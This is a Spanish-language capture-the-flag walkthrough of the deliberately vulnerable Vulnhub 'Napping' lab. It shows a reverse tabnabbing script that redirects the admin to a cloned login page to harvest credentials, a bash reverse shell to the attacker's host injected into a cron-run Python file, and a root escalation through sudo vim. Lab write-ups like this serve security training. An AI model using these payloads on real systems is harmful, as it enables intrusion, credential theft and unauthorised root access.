Vulnhub - Napping
Máquina Linux de nivel Easy de Vulnhub.
Fase de Reconocimiento 🧣
Identificamos la dirección IP de la Máquina Napping
1
2
3
4
root@kali> arp-scan -I eth0 --local --ignoredups
<SNIP>
192.168.100.25 08:00:27:49:ee:4d PCS Systemtechnik GmbH
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Al visitar la página web nos creamos una nueva cuenta para autenticarnos en el servicio
Página web después de autenticarnos.
Vemos que la página dice que podemos promocionar un blog, el cual al colocar una URL, el administrador la verá, esto nos da la idea de un
Cookie Hijacking
, pero no funcionará ya que nos obtendremos la cookie.Lo que podemos hacer es engañar al administrador para que se loguee en una página idéntica al login del servicio y de esta forma podremos obtener sus credenciales, nos basamos en este post
Explicación del vector a usar.
d. Estructuramos todo de acuerdo al dibujo anterior
Creamos nuestro index.html y lo hosteamos con
python -m http.server 80
1 2 3 4 5
<html> <script> window.opener.location='http://<IP Atacante>:4444/fake_login.html'; </script> </html>
Copiamos el código fuente (
http://<IP Napping>/index.php
) del login, lo guardamos y lo hosteamos connc -lvnp 4444
Ahora, ‘promocionamos’ nuestro link en la página web de la víctima
Damos clic en Submit -> Here
- Esperamos un poco y veremos credenciales del usuario daniel
- Tenemos que
Url decodear
la contraseña ya que %40 es @
- Estas credenciales (daniel:C@ughtm3napping123) nos sirven para autenticarnos en el servicio SSH
1
root@kali> ssh daniel@<IP Napping>
Escalada de Privilegios 💹
a. Vemos que estamos en el grupo administrators y que podemos modificar un fichero
1
2
3
4
daniel@napping:~$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel),1002(administrators)
daniel@napping:~$ find / -group administrators 2>/dev/null | xargs ls -la
-rw-rw-r-- 1 adrian administrators 492 Aug 21 19:57 /home/adrian/query.py
- Este archivo guarda cada cierto tiempo la hora de consulta del servicio web, para saber si está levantado o no.
- El dueño de este archivos es
adrian
, así que, todo comando que ejecutemos en este archivo lo haremos como este usuario, por lo que, nos enviaremos una reverse shell a nuestro equipo.
b. Inyectamos en el archivo el siguiente código
1
2
3
import os
os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/<IP Atacante>/4444 0>&1'")
Nos ponemos en escucha en nuestro equipo de atacante y esperamos a recibir al shell
1 2 3
root@kali> nc -lvnp 4444 <SNIP> adrian@napping:~$
c. Listamos privilegios sudoers que tengamos
1
2
3
adrian@napping:~$ sudo -l
<SNIP>
(root) NOPASSWD: /usr/bin/vim
Escalamos privilegios como nos menciona Gtfobins
1 2 3
adrian@napping:~$ sudo vim -c ':!/bin/bash' root@napping:/home/adrian#